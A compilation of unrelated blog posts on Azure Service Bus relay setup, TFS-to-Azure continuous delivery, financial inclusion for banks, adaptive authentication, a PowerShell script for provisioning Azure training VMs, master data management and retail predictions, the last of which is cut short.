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• Integration Patterns with Azure Service Bus Relay, Part 1: Exposing the on-premise service

  - by Elton Stoneman

  We're in the process of delivering an enabling project to expose on-premise WCF services securely to Internet consumers. The Azure Service Bus Relay is doing the clever stuff, we register our on-premise service with Azure, consumers call into our .servicebus.windows.net namespace, and their requests are relayed and serviced on-premise. In theory it's all wonderfully simple; by using the relay we get lots of protocol options, free HTTPS and load balancing, and by integrating to ACS we get plenty of security options. Part of our delivery is a suite of sample consumers for the service - .NET, jQuery, PHP - and this set of posts will cover setting up the service and the consumers. Part 1: Exposing the on-premise service In theory, this is ultra-straightforward. In practice, and on a dev laptop it is - but in a corporate network with firewalls and proxies, it isn't, so we'll walkthrough some of the pitfalls. Note that I'm using the "old" Azure portal which will soon be out of date, but the new shiny portal should have the same steps available and be easier to use. We start with a simple WCF service which takes a string as input, reverses the string and returns it. The Part 1 version of the code is on GitHub here: on GitHub here: IPASBR Part 1. Configuring Azure Service Bus Start by logging into the Azure portal and registering a Service Bus namespace which will be our endpoint in the cloud. Give it a globally unique name, set it up somewhere near you (if you’re in Europe, remember Europe (North) is Ireland, and Europe (West) is the Netherlands), and  enable ACS integration by ticking "Access Control" as a service: Authenticating and authorizing to ACS When we try to register our on-premise service as a listener for the Service Bus endpoint, we need to supply credentials, which means only trusted service providers can act as listeners. We can use the default "owner" credentials, but that has admin permissions so a dedicated service account is better (Neil Mackenzie has a good post On Not Using owner with the Azure AppFabric Service Bus with lots of permission details). Click on "Access Control Service" for the namespace, navigate to Service Identities and add a new one. Give the new account a sensible name and description: Let ACS generate a symmetric key for you (this will be the shared secret we use in the on-premise service to authenticate as a listener), but be sure to set the expiration date to something usable. The portal defaults to expiring new identities after 1 year - but when your year is up *your identity will expire without warning* and everything will stop working. In production, you'll need governance to manage identity expiration and a process to make sure you renew identities and roll new keys regularly. The new service identity needs to be authorized to listen on the service bus endpoint. This is done through claim mapping in ACS - we'll set up a rule that says if the nameidentifier in the input claims has the value serviceProvider, in the output we'll have an action claim with the value Listen. In the ACS portal you'll see that there is already a Relying Party Application set up for ServiceBus, which has a Default rule group. Edit the rule group and click Add to add this new rule: The values to use are: Issuer: Access Control Service Input claim type: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier Input claim value: serviceProvider Output claim type: net.windows.servicebus.action Output claim value: Listen When your service namespace and identity are set up, open the Part 1 solution and put your own namespace, service identity name and secret key into the file AzureConnectionDetails.xml in Solution Items, e.g: <azure namespace="sixeyed-ipasbr">    <!-- ACS credentials for the listening service (Part1):-->   <service identityName="serviceProvider"            symmetricKey="nuR2tHhlrTCqf4YwjT2RA2BZ/+xa23euaRJNLh1a/V4="/>  </azure> Build the solution, and the T4 template will generate the Web.config for the service project with your Azure details in the transportClientEndpointBehavior:           <behavior name="SharedSecret">             <transportClientEndpointBehavior credentialType="SharedSecret">               <clientCredentials>                 <sharedSecret issuerName="serviceProvider"                               issuerSecret="nuR2tHhlrTCqf4YwjT2RA2BZ/+xa23euaRJNLh1a/V4="/>               </clientCredentials>             </transportClientEndpointBehavior>           </behavior> , and your service namespace in the Azure endpoint:         <!-- Azure Service Bus endpoints -->          <endpoint address="sb://sixeyed-ipasbr.servicebus.windows.net/net"                   binding="netTcpRelayBinding"                   contract="Sixeyed.Ipasbr.Services.IFormatService"                   behaviorConfiguration="SharedSecret">         </endpoint> The sample project is hosted in IIS, but it won't register with Azure until the service is activated. Typically you'd install AppFabric 1.1 for Widnows Server and set the service to auto-start in IIS, but for dev just navigate to the local REST URL, which will activate the service and register it with Azure. Testing the service locally As well as an Azure endpoint, the service has a WebHttpBinding for local REST access:         <!-- local REST endpoint for internal use -->         <endpoint address="rest"                   binding="webHttpBinding"                   behaviorConfiguration="RESTBehavior"                   contract="Sixeyed.Ipasbr.Services.IFormatService" /> Build the service, then navigate to: http://localhost/Sixeyed.Ipasbr.Services/FormatService.svc/rest/reverse?string=abc123 - and you should see the reversed string response: If your network allows it, you'll get the expected response as before, but in the background your service will also be listening in the cloud. Good stuff! Who needs network security? Onto the next post for consuming the service with the netTcpRelayBinding.  Setting up network access to Azure But, if you get an error, it's because your network is secured and it's doing something to stop the relay working. The Service Bus relay bindings try to use direct TCP connections to Azure, so if ports 9350-9354 are available *outbound*, then the relay will run through them. If not, the binding steps down to standard HTTP, and issues a CONNECT across port 443 or 80 to set up a tunnel for the relay. If your network security guys are doing their job, the first option will be blocked by the firewall, and the second option will be blocked by the proxy, so you'll get this error: System.ServiceModel.CommunicationException: Unable to reach sixeyed-ipasbr.servicebus.windows.net via TCP (9351, 9352) or HTTP (80, 443) - and that will probably be the start of lots of discussions. Network guys don't really like giving servers special permissions for the web proxy, and they really don't like opening ports, so they'll need to be convinced about this. The resolution in our case was to put up a dedicated box in a DMZ, tinker with the firewall and the proxy until we got a relay connection working, then run some traffic which the the network guys monitored to do a security assessment afterwards. Along the way we hit a few more issues, diagnosed mainly with Fiddler and Wireshark: System.Net.ProtocolViolationException: Chunked encoding upload is not supported on the HTTP/1.0 protocol - this means the TCP ports are not available, so Azure tries to relay messaging traffic across HTTP. The service can access the endpoint, but the proxy is downgrading traffic to HTTP 1.0, which does not support tunneling, so Azure can’t make its connection. We were using the Squid proxy, version 2.6. The Squid project is incrementally adding HTTP 1.1 support, but there's no definitive list of what's supported in what version (here are some hints). System.ServiceModel.Security.SecurityNegotiationException: The X.509 certificate CN=servicebus.windows.net chain building failed. The certificate that was used has a trust chain that cannot be verified. Replace the certificate or change the certificateValidationMode. The evocation function was unable to check revocation because the revocation server was offline. - by this point we'd given up on the HTTP proxy and opened the TCP ports. We got this error when the relay binding does it's authentication hop to ACS. The messaging traffic is TCP, but the control traffic still goes over HTTP, and as part of the ACS authentication the process checks with a revocation server to see if Microsoft’s ACS cert is still valid, so the proxy still needs some clearance. The service account (the IIS app pool identity) needs access to: www.public-trust.com mscrl.microsoft.com We still got this error periodically with different accounts running the app pool. We fixed that by ensuring the machine-wide proxy settings are set up, so every account uses the correct proxy: netsh winhttp set proxy proxy-server="http://proxy.x.y.z" - and you might need to run this to clear out your credential cache: certutil -urlcache * delete If your network guys end up grudgingly opening ports, they can restrict connections to the IP address range for your chosen Azure datacentre, which might make them happier - see Windows Azure Datacenter IP Ranges. After all that you've hopefully got an on-premise service listening in the cloud, which you can consume from pretty much any technology.

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• Advanced Continuous Delivery to Azure from TFS, Part 1: Good Enough Is Not Great

  - by jasont

  The folks over on the TFS / Visual Studio team have been working hard at releasing a steady stream of new features for their new hosted Team Foundation Service in the cloud. One of the most significant features released was simple continuous delivery of your solution into your Azure deployments. The original announcement from Brian Harry can be found here. Team Foundation Service is a great platform for .Net developers who are used to working with TFS on-premises. I’ve been using it since it became available at the //BUILD conference in 2011, and when I recently came to work at Stackify, it was one of the first changes I made. Managing work items is much easier than the tool we were using previously, although there are some limitations (more on that in another blog post). However, when continuous deployment was made available, it blew my mind. It was the killer feature I didn’t know I needed. Not to say that I wasn’t previously an advocate for continuous delivery; just that it was always a pain to set up and configure. Having it hosted - and a one-click setup – well, that’s just the best thing since sliced bread. It made perfect sense: my source code is in the cloud, and my deployment is in the cloud. Great! I can queue up a build from my iPad or phone and just let it go! I quickly tore through the quick setup and saw it all work… sort of. This will be the first in a three part series on how to take the building block of Team Foundation Service continuous delivery and build a CD model that will actually work for any team deploying something more advanced than a “Hello World” example. Part 1: Good Enough Is Not Great Part 2: A Model That Works: Branching and Multiple Deployment Environments Part 3: Other Considerations: SQL, Custom Tasks, Etc Good Enough Is Not Great There. I’ve said it. I certainly hope no one on the TFS team is offended, but it’s the truth. Let’s take a look under the hood and understand how it works, and then why it’s not enough to handle real world CD as-is. How it works. (note that I’ve skipped a couple of steps; I already have my accounts set up and something deployed to Azure) The first step is to establish some oAuth magic between your Azure management portal and your TFS Instance. You do this via the management portal. Once it’s done, you have a new build process template in your TFS instance. (Image lifted from the documentation) From here, you’ll get the usual prompts for security, allowing access, etc. But you’ll also get to pick which Solution in your source control to build. Here’s what the bulk of the build definition looks like. All I’ve had to do is add in the solution to build (notice that mine is from a specific branch – Release – more on that later) and I’ve changed the configuration. I trigger the build, and voila! I have an Azure deployment a few minutes later. The beauty of this is that it’s all in the cloud and I’m not waiting for my machine to compile and upload the package. (I also had to enable the build definition first – by default it is created in disabled state, probably a good thing since it will trigger on every.single.checkin by default.) I get to see a history of deployments from the Azure portal, and can link into TFS to see the associated changesets and work items. You’ll notice also that this build definition also automatically put my code in the Staging slot of my Azure deployment – more on this soon. For now, I can VIP swap and be in production. (P.S. I hate VIP swap and “production” and “staging” in Azure. More on that later too.) That’s it. That’s the default out-of-box experience. Easy, right? But it’s full of room for improvement, so let’s get into that….   The Problems Nothing is perfect (except my code – it’s always perfect), and neither is Continuous Deployment without a bit of work to help it fit your dev team’s process. So what are the issues? Issue 1: Staging vs QA vs Prod vs whatever other environments your team may have. This, for me, is the big hairy one. Remember how this automatically deployed to staging rather than prod for us? There are a couple of issues with this model: If I want to deliver to prod, it requires intervention on my part after deployment (via a VIP swap). If I truly want to promote between environments (i.e. Nightly Build –> Stable QA –> Production) I likely have configuration changes between each environment such as database connection strings and this process (and the VIP swap) doesn’t account for this. Yet. Issue 2: Branching and delivering on every check-in. As I mentioned above, I have set this up to target a specific branch – Release – of my code. For the purposes of this example, I have adopted the “basic” branching strategy as defined by the ALM Rangers. This basically establishes a “Main” trunk where you branch off Dev and Release branches. Granted, the Release branch is usually the only thing you will deploy to production, but you certainly don’t want to roll to production automatically when you merge to the Release branch and check-in (unless you like the thrill of it, and in that case, I like your style, cowboy….). Rather, you have nightly build and QA environments, or if you’ve adopted the feature-branch model you have environments for those. Those are the environments you want to continuously deploy to. But that takes us back to Issue 1: we currently have a 1:1 solution to Azure deployment target. Issue 3: SQL and other custom tasks. Let’s be honest and address the elephant in the room: I need to get some sleep because I see an elephant in the room. But seriously, I can’t think of an application I have touched in the last 10 years that doesn’t need to consider SQL changes when deploying code and upgrading an environment. Microsoft seems perfectly content to ignore this elephant for now: yes, they’ve added Data Tier Applications. But let’s be honest with ourselves again: no one really uses it, and it’s not suitable for anything more complex than a Hello World sample project database. Why? Because it doesn’t fit well into a great source control story. Developers make stored procedure and table changes all day long while coding complex applications, and if someone forgets to go update the DACPAC before the automated deployment, you have a broken build until it’s completed. Developers – not just DBAs – also like to work with SQL in SQL tools, not in Visual Studio. I’m really picking on SQL because that’s generally the biggest concern that I hear. But we need to account for any custom tasks as well in the build process.   The Solutions… ? We’ve taken a look at how this all works, and addressed the shortcomings. In my next post (which I promise will be very, very soon), I will detail how I’ve overcome these shortcomings and used this foundation to create a mature, flexible model for deploying my app – any version, any time, to any environment.

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• Is Financial Inclusion an Obligation or an Opportunity for Banks?

  - by tushar.chitra

  Why should banks care about financial inclusion? First, the statistics, I think this will set the tone for this blog post. There are close to 2.5 billion people who are excluded from the banking stream and out of this, 2.2 billion people are from the continents of Africa, Latin America and Asia (McKinsey on Society: Global Financial Inclusion). However, this is not just a third-world phenomenon. According to Federal Deposit Insurance Corp (FDIC), in the US, post 2008 financial crisis, one family out of five has either opted out of the banking system or has been moved out (American Banker). Moving this huge unbanked population into mainstream banking is both an opportunity and a challenge for banks. An obvious opportunity is the significant untapped customer base that banks can target, so is the positive brand equity a bank can build by fulfilling its social responsibilities. Also, as banks target the cost-conscious unbanked customer, they will be forced to look at ways to offer cost-effective products and services, necessitating technology upgrades and innovations. However, cost is not the only hurdle in increasing the adoption of banking services. The potential users need to be convinced of the benefits of banking and banks will also face stiff competition from unorganized players. Finally, the banks will have to believe in the viability of this business opportunity, and not treat financial inclusion as an obligation. In what ways can banks target the unbanked For financial inclusion to be a success, banks should adopt innovative business models to develop products that address the stated and unstated needs of the unbanked population and also design delivery channels that are cost effective and viable in the long run. Through business correspondents and facilitators In rural and remote areas, one of the major hurdles in increasing banking penetration is connectivity and accessibility to banking services, which makes last mile inclusion a daunting challenge. To address this, banks can avail the services of business correspondents or facilitators. This model allows banks to establish greater connectivity through a trusted and reliable intermediary. In India, for instance, banks can leverage the local Kirana stores (the mom & pop stores) to service rural and remote areas. With a supportive nudge from the central bank, the commercial banks can enlist these shop owners as business correspondents to increase their reach. Since these neighborhood stores are acquainted with the local population, they can help banks manage the KYC norms, besides serving as a conduit for remittance. Banks also have an opportunity over a period of time to cross-sell other financial products such as micro insurance, mutual funds and pension products through these correspondents. To exercise greater operational control over the business correspondents, banks can also adopt a combination of branch and business correspondent models to deliver financial inclusion. Through mobile devices According to a 2012 world bank report on financial inclusion, out of a world population of 7 billion, over 5 billion or 70% have mobile phones and only 2 billion or 30% have a bank account. What this means for banks is that there is scope for them to leverage this phenomenal growth in mobile usage to serve the unbanked population. Banks can use mobile technology to service the basic banking requirements of their customers with no frills accounts, effectively bringing down the cost per transaction. As I had discussed in my earlier post on mobile payments, though non-traditional players have taken the lead in P2P mobile payments, banks still hold an edge in terms of infrastructure and reliability. Through crowd-funding According to the Crowdfunding Industry Report by Massolution, the global crowdfunding industry raised $2.7 billion in 2012, and is projected to grow to $5.1 billion in 2013. With credit policies becoming tighter and banks becoming more circumspect in terms of loan disbursals, crowdfunding has emerged as an alternative channel for lending. Typically, these initiatives target the unbanked population by offering small loans that are unviable for larger banks. Though a significant proportion of crowdfunding initiatives globally are run by non-banking institutions, banks are also venturing into this space. The next step towards inclusive finance Banks by themselves cannot make financial inclusion a success. There is a need for a whole ecosystem that is supportive of this mission. The policy makers, that include the regulators and government bodies, must be in sync, the IT solution providers must put on their thinking caps to come out with innovative products and solutions, communication channels such as internet and mobile need to expand their reach, and the media and the public need to play an active part. The other challenge for financial inclusion is from the banks themselves. While it is true that financial inclusion will unleash a hitherto hugely untapped market, the normal banking model may be found wanting because of issues such as flexibility, convenience and reliability. The business will be viable only when there is a focus on increasing the usage of existing infrastructure and that is possible when the banks can offer the entire range of products and services to the large number of users of essential banking services. Apart from these challenges, banks will also have to quickly master and replicate the business model to extend their reach to the remotest regions in their respective geographies. They will need to ensure that the transactions deliver a viable business benefit to the bank. For tapping cross-sell opportunities, banks will have to quickly roll-out customized and segment-specific products. The bank staff should be brought in sync with the business plan by convincing them of the viability of the business model and the need for a business correspondent delivery model. Banks, in collaboration with the government and NGOs, will have to run an extensive financial literacy program to educate the unbanked about the benefits of banking. Finally, with the growing importance of retail banking and with many unconventional players eyeing the opportunity in payments and other lucrative areas of banking, banks need to understand the importance of micro and small branches. These micro and small branches can help banks increase their presence without a huge cost burden, provide bankers an opportunity to cross sell micro products and offer a window of opportunity for the large non-banked population to transact without any interference from intermediaries. These branches can also help diminish the role of the unorganized financial sector, such as local moneylenders and unregistered credit societies. This will also help banks build a brand awareness and loyalty among the users, which by itself has a cascading effect on the business operations, especially among the rural and un-banked centers. In conclusion, with the increasingly competitive banking sector facing frequent slowdowns and downturns, the unbanked population presents a huge opportunity for banks to enhance their customer base and fulfill their social responsibility.

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• Grow Your Business with Security

  - by Darin Pendergraft

  Author: Kevin Moulton Kevin Moulton has been in the security space for more than 25 years, and with Oracle for 7 years. He manages the East EnterpriseSecurity Sales Consulting Team. He is also a Distinguished Toastmaster. Follow Kevin on Twitter at twitter.com/kevin_moulton, where he sometimes tweets about security, but might also tweet about running, beer, food, baseball, football, good books, or whatever else grabs his attention. Kevin will be a regular contributor to this blog so stay tuned for more posts from him. It happened again! There I was, reading something interesting online, and realizing that a friend might find it interesting too. I clicked on the little email link, thinking that I could easily forward this to my friend, but no! Instead, a new screen popped up where I was asked to create an account. I was expected to create a User ID and password, not to mention providing some personally identifiable information, just for the privilege of helping that website spread their word. Of course, I didn’t want to have to remember a new account and password, I didn’t want to provide the requisite information, and I didn’t want to waste my time. I gave up, closed the web page, and moved on to something else. I was left with a bad taste in my mouth, and my friend might never find her way to this interesting website. If you were this content provider, would this be the outcome you were looking for? A few days later, I had a similar experience, but this one went a little differently. I was surfing the web, when I happened upon some little chotcke that I just had to have. I added it to my cart. When I went to buy the item, I was again brought to a page to create account. Groan! But wait! On this page, I also had the option to sign in with my OpenID account, my Facebook account, my Yahoo account, or my Google Account. I have all of those! No new account to create, no new password to remember, and no personally identifiable information to be given to someone else (I’ve already given it all to those other guys, after all). In this case, the vendor was easy to deal with, and I happily completed the transaction. That pleasant experience will bring me back again. This is where security can grow your business. It’s a differentiator. You’ve got to have a presence on the web, and that presence has to take into account all the smart phones everyone’s carrying, and the tablets that took over cyber Monday this year. If you are a company that a customer can deal with securely, and do so easily, then you are a company customers will come back to again and again. I recently had a need to open a new bank account. Every bank has a web presence now, but they are certainly not all the same. I wanted one that I could deal with easily using my laptop, but I also wanted 2-factor authentication in case I had to login from a shared machine, and I wanted an app for my iPad. I found a bank with all three, and that’s who I am doing business with. Let’s say, for example, that I’m in a regular Texas Hold-em game on Friday nights, so I move a couple of hundred bucks from checking to savings on Friday afternoons. I move a similar amount each week and I do it from the same machine. The bank trusts me, and they trust my machine. Most importantly, they trust my behavior. This is adaptive authentication. There should be no reason for my bank to make this transaction difficult for me. Now let's say that I login from a Starbucks in Uzbekistan, and I transfer $2,500. What should my bank do now? Should they stop the transaction? Should they call my home number? (My former bank did exactly this once when I was taking money out of an ATM on a business trip, when I had provided my cell phone number as my primary contact. When I asked them why they called my home number rather than my cell, they told me that their “policy” is to call the home number. If I'm on the road, what exactly is the use of trying to reach me at home to verify my transaction?) But, back to Uzbekistan… Should my bank assume that I am happily at home in New Jersey, and someone is trying to hack into my account? Perhaps they think they are protecting me, but I wouldn’t be very happy if I happened to be traveling on business in Central Asia. What if my bank were to automatically analyze my behavior and calculate a risk score? Clearly, this scenario would be outside of my typical behavior, so my risk score would necessitate something more than a simple login and password. Perhaps, in this case, a one-time password to my cell phone would prove that this is not just some hacker half way around the world. But, what if you're not a bank? Do you need this level of security? If you want to be a business that is easy to deal with while also protecting your customers, then of course you do. You want your customers to trust you, but you also want them to enjoy doing business with you. Make it easy for them to do business with you, and they’ll come back, and perhaps even Tweet about it, or Like you, and then their friends will follow. How can Oracle help? Oracle has the technology and expertise to help you to grown your business with security. Oracle Adaptive Access Manager will help you to prevent fraud while making it easier for your customers to do business with you by providing the risk analysis I discussed above, step-up authentication, and much more. Oracle Mobile and Social Access Service will help you to secure mobile access to applications by expanding on your existing back-end identity management infrastructure, and allowing your customers to transact business with you using the social media accounts they already know. You also have device fingerprinting and metrics to help you to grow your business securely. Security is not just a cost anymore. It’s a way to set your business apart. With Oracle’s help, you can be the business that everyone’s tweeting about. Image courtesy of Flickr user shareski

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• Creating a Training Lab on Windows Azure

  - by Michael Stephenson

  Originally posted on: http://geekswithblogs.net/michaelstephenson/archive/2013/06/17/153149.aspxThis week we are preparing for a training course that Alan Smith will be running for the support teams at one of my customers around Windows Azure. In order to facilitate the training lab we have a few prerequisites we need to handle. One of the biggest ones is that although the support team all have MSDN accounts the local desktops they work on are not ideal for running most of the labs as we want to give them some additional developer background training around Azure. Some recent Azure announcements really help us in this area: MSDN software can now be used on Azure VM You don't pay for Azure VM's when they are no longer used  Since the support team only have limited experience of Windows Azure and the organisation also have an Enterprise Agreement we decided it would be best value for money to spin up a training lab in a subscription on the EA and then we can turn the machines off when we are done. At the same time we would be able to spin them back up when the users need to do some additional lab work once the training course is completed. In order to achieve this I wanted to create a powershell script which would setup my training lab. The aim was to create 18 VM's which would be based on a prebuilt template with Visual Studio and the Azure development tools. The script I used is described below The Start & Variables The below text will setup the powershell environment and some variables which I will use elsewhere in the script. It will also import the Azure Powershell cmdlets. You can see below that I will need to download my publisher settings file and know some details from my Azure account. At this point I will assume you have a basic understanding of Azure & Powershell so already know how to do this. Set-ExecutionPolicy Unrestrictedcls $startTime = get-dateImport-Module "C:\Program Files (x86)\Microsoft SDKs\Windows Azure\PowerShell\Azure\Azure.psd1"# Azure Publisher Settings $azurePublisherSettings = '<Your settings file>.publishsettings'  # Subscription Details $subscriptionName = "<Your subscription name>" $defaultStorageAccount = "<Your default storage account>"  # Affinity Group Details $affinityGroup = '<Your affinity group>' $dataCenter = 'West Europe' # From Get-AzureLocation  # VM Details $baseVMName = 'TRN' $adminUserName = '<Your admin username>' $password = '<Your admin password>' $size = 'Medium' $vmTemplate = '<The name of your VM template image>' $rdpFilePath = '<File path to save RDP files to>' $machineSettingsPath = '<File path to save machine info to>'    Functions In the next section of the script I have some functions which are used to perform certain actions. The first is called CreateVM. This will do the following actions: If the VM already exists it will be deleted Create the cloud service Create the VM from the template I have created Add an endpoint so we can RDP to them all over the same port Download the RDP file so there is a short cut the trainees can easily access the machine via Write settings for the machine to a log file  function CreateVM($machineNo) { # Specify a name for the new VM $machineName = "$baseVMName-$machineNo" Write-Host "Creating VM: $machineName"       # Get the Azure VM Image      $myImage = Get-AzureVMImage $vmTemplate   #If the VM already exists delete and re-create it $existingVm = Get-AzureVM -Name $machineName -ServiceName $serviceName if($existingVm -ne $null) { Write-Host "VM already exists so deleting it" Remove-AzureVM -Name $machineName -ServiceName $serviceName }   "Creating Service" $serviceName = "bupa-azure-train-$machineName" Remove-AzureService -Force -ServiceName $serviceName New-AzureService -Location $dataCenter -ServiceName $serviceName   Write-Host "Creating VM: $machineName" New-AzureQuickVM -Windows -name $machineName -ServiceName $serviceName -ImageName $myImage.ImageName -InstanceSize $size -AdminUsername $adminUserName -Password $password  Write-Host "Updating the RDP endpoint for $machineName" Get-AzureVM -name $machineName -ServiceName $serviceName ` | Add-AzureEndpoint -Name RDP -Protocol TCP -LocalPort 3389 -PublicPort 550 ` | Update-AzureVM    Write-Host "Get the RDP File for machine $machineName" $machineRDPFilePath = "$rdpFilePath\$machineName.rdp" Get-AzureRemoteDesktopFile -name $machineName -ServiceName $serviceName -LocalPath "$machineRDPFilePath"   WriteMachineSettings "$machineName" "$serviceName" }    The delete machine settings function is used to delete the log file before we start re-running the process.  function DeleteMachineSettings() { Write-Host "Deleting the machine settings output file" [System.IO.File]::Delete("$machineSettingsPath"); }    The write machine settings function will get the VM and then record its details to the log file. The importance of the log file is that I can easily provide the information for all of the VM's to our infrastructure team to be able to configure access to all of the VM's    function WriteMachineSettings([string]$vmName, [string]$vmServiceName) { Write-Host "Writing to the machine settings output file"   $vm = Get-AzureVM -name $vmName -ServiceName $vmServiceName $vmEndpoint = Get-AzureEndpoint -VM $vm -Name RDP   $sb = new-object System.Text.StringBuilder $sb.Append("Service Name: "); $sb.Append($vm.ServiceName); $sb.Append(", "); $sb.Append("VM: "); $sb.Append($vm.Name); $sb.Append(", "); $sb.Append("RDP Public Port: "); $sb.Append($vmEndpoint.Port); $sb.Append(", "); $sb.Append("Public DNS: "); $sb.Append($vmEndpoint.Vip); $sb.AppendLine(""); [System.IO.File]::AppendAllText($machineSettingsPath, $sb.ToString());  } # end functions    Rest of Script In the rest of the script it is really just the bit that orchestrates the actions we want to happen. It will load the publisher settings, select the Azure subscription and then loop around the CreateVM function and create 16 VM's  Import-AzurePublishSettingsFile $azurePublisherSettings Set-AzureSubscription -SubscriptionName $subscriptionName -CurrentStorageAccount $defaultStorageAccount Select-AzureSubscription -SubscriptionName $subscriptionName  DeleteMachineSettings    "Starting creating Bupa International Azure Training Lab" $numberOfVMs = 16  for ($index=1; $index -le $numberOfVMs; $index++) { $vmNo = "$index" CreateVM($vmNo); }    "Finished creating Bupa International Azure Training Lab" # Give it a Minute Start-Sleep -s 60  $endTime = get-date "Script run time " + ($endTime - $startTime)    Conclusion As you can see there is nothing too fancy about this script but in our case of creating a small isolated training lab which is not connected to our corporate network then we can easily use this to provision the lab. Im sure if this is of use to anyone you can easily modify it to do other things with the lab environment too. A couple of points to note are that there are some soft limits in Azure about the number of cores and services your subscription can use. You may need to contact the Azure support team to be able to increase this limit. In terms of the real business value of this approach, it was not possible to use the existing desktops to do the training on, and getting some internal virtual machines would have been relatively expensive and time consuming for our ops team to do. With the Azure option we are able to spin these machines up for a temporary period during the training course and then throw them away when we are done. We expect the costing of this test lab to be very small, especially considering we have EA pricing. As a ball park I think my 18 lab VM training environment will cost in the region of $80 per day on our EA. This is a fraction of the cost of the creation of a single VM on premise.

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• Five Key Strategies in Master Data Management

  - by david.butler(at)oracle.com

  Here is a very interesting Profit Magazine article on MDM: A recent customer survey reveals the deleterious effects of data fragmentation. by Trevor Naidoo, December 2010   Across industries and geographies, IT organizations have grown in complexity, whether due to mergers and acquisitions, or decentralized systems supporting functional or departmental requirements. With systems architected over time to support unique, one-off process needs, they are becoming costly to maintain, and the Internet has only further added to the complexity. Data fragmentation has become a key inhibitor in delivering flexible, user-friendly systems. The Oracle Insight team conducted a survey assessing customers' master data management (MDM) capabilities over the past two years to get a sense of where they are in terms of their capabilities. The responses, by 27 respondents from six different industries, reveal five key areas in which customers need to improve their data management in order to get better financial results. 1. Less than 15 percent of organizations surveyed understand the sources and quality of their master data, and have a roadmap to address missing data domains. Examples of the types of master data domains referred to are customer, supplier, product, financial and site. Many organizations have multiple sources of master data with varying degrees of data quality in each source -- customer data stored in the customer relationship management system is inconsistent with customer data stored in the order management system. Imagine not knowing how many places you stored your customer information, and whether a customer's address was the most up to date in each source. In fact, more than 55 percent of the respondents in the survey manage their data quality on an ad-hoc basis. It is important for organizations to document their inventory of data sources and then profile these data sources to ensure that there is a consistent definition of key data entities throughout the organization. Some questions to ask are: How do we define a customer? What is a product? How do we define a site? The goal is to strive for one common repository for master data that acts as a cross reference for all other sources and ensures consistent, high-quality master data throughout the organization. 2. Only 18 percent of respondents have an enterprise data management strategy to ensure that data is treated as an asset to the organization. Most respondents handle data at the department or functional level and do not have an enterprise view of their master data. The sales department may track all their interactions with customers as they move through the sales cycle, the service department is tracking their interactions with the same customers independently, and the finance department also has a different perspective on the same customer. The salesperson may not be aware that the customer she is trying to sell to is experiencing issues with existing products purchased, or that the customer is behind on previous invoices. The lack of a data strategy makes it difficult for business users to turn data into information via reports. Without the key building blocks in place, it is difficult to create key linkages between customer, product, site, supplier and financial data. These linkages make it possible to understand patterns. A well-defined data management strategy is aligned to the business strategy and helps create the governance needed to ensure that data stewardship is in place and data integrity is intact. 3. Almost 60 percent of respondents have no strategy to integrate data across operational applications. Many respondents have several disparate sources of data with no strategy to keep them in sync with each other. Even though there is no clear strategy to integrate the data (see #2 above), the data needs to be synced and cross-referenced to keep the business processes running. About 55 percent of respondents said they perform this integration on an ad hoc basis, and in many cases, it is done manually with the help of Microsoft Excel spreadsheets. For example, a salesperson needs a report on global sales for a specific product, but the product has different product numbers in different countries. Typically, an analyst will pull all the data into Excel, manually create a cross reference for that product, and then aggregate the sales. The exact same procedure has to be followed if the same report is needed the following month. A well-defined consolidation strategy will ensure that a central cross-reference is maintained with updates in any one application being propagated to all the other systems, so that data is synchronized and up to date. This can be done in real time or in batch mode using integration technology. 4. Approximately 50 percent of respondents spend manual efforts cleansing and normalizing data. Information stored in various systems usually follows different standards and formats, making it difficult to match the data. A customer's address can be stored in different ways using a variety of abbreviations -- for example, "av" or "ave" for avenue. Similarly, a product's attributes can be stored in a number of different ways; for example, a size attribute can be stored in inches and can also be entered as "'' ". These types of variations make it difficult to match up data from different sources. Today, most customers rely on manual, heroic efforts to match, cleanse, and de-duplicate data -- clearly not a scalable, sustainable model. To solve this challenge, organizations need the ability to standardize data for customers, products, sites, suppliers and financial accounts; however, less than 10 percent of respondents have technology in place to automatically resolve duplicates. It is no wonder, therefore, that we get communications about products we don't own, at addresses we don't reside, and using channels (like direct mail) we don't like. An all-too-common example of a potential challenge follows: Customers end up receiving duplicate communications, which not only impacts customer satisfaction, but also incurs additional mailing costs. Cleansing, normalizing, and standardizing data will help address most of these issues. 5. Only 10 percent of respondents have the ability to share data that was mastered in a master data hub. Close to 60 percent of respondents have efforts in place that profile, standardize and cleanse data manually, and the output of these efforts are stored in spreadsheets in various parts of the organization. This valuable information is not easily shared with the rest of the organization and, more importantly, this enriched information cannot be sent back to the source systems so that the data is fixed at the source. A key benefit of a master data management strategy is not only to clean the data, but to also share the data back to the source systems as well as other systems that need the information. Aside from the source systems, another key beneficiary of this data is the business intelligence system. Having clean master data as input to business intelligence systems provides more accurate and enhanced reporting.  Characteristics of Stellar MDM When deciding on the right master data management technology, organizations should look for solutions that have four main characteristics: enterprise-grade MDM performance complete technology that can be rapidly deployed and addresses multiple business issues end-to-end MDM process management with data quality monitoring and assurance pre-built MDM business relevant applications with data stores and workflows These master data management capabilities will aid in moving closer to a best-practice maturity level, delivering tremendous efficiencies and savings as well as revenue growth opportunities as a result of better understanding your customers.  Trevor Naidoo is a senior director in Industry Strategy and Insight at Oracle. 

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• Reviewing Retail Predictions for 2011

  - by David Dorf

  Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} I've been busy thinking about what 2012 and beyond will look like for retail, and I have some interesting predictions to share.  But before I go there, let’s first review this year’s predictions before making new ones for 2012. 1. Alternate Payments We've seen several alternate payment schemes emerge over the last two years, and 2011 may be the year one of them takes hold. Any competition that can drive down fees will be good for everyone. I'm betting that Apple will add NFC chips to their next version of the iPhone, then enable payments in stores using iTunes accounts on the backend. Paypal will continue to make inroads, and Isis will announce a pilot. The iPhone 4S did not contain an NFC chip, so we’ll have to continuing waiting for the iPhone 5. 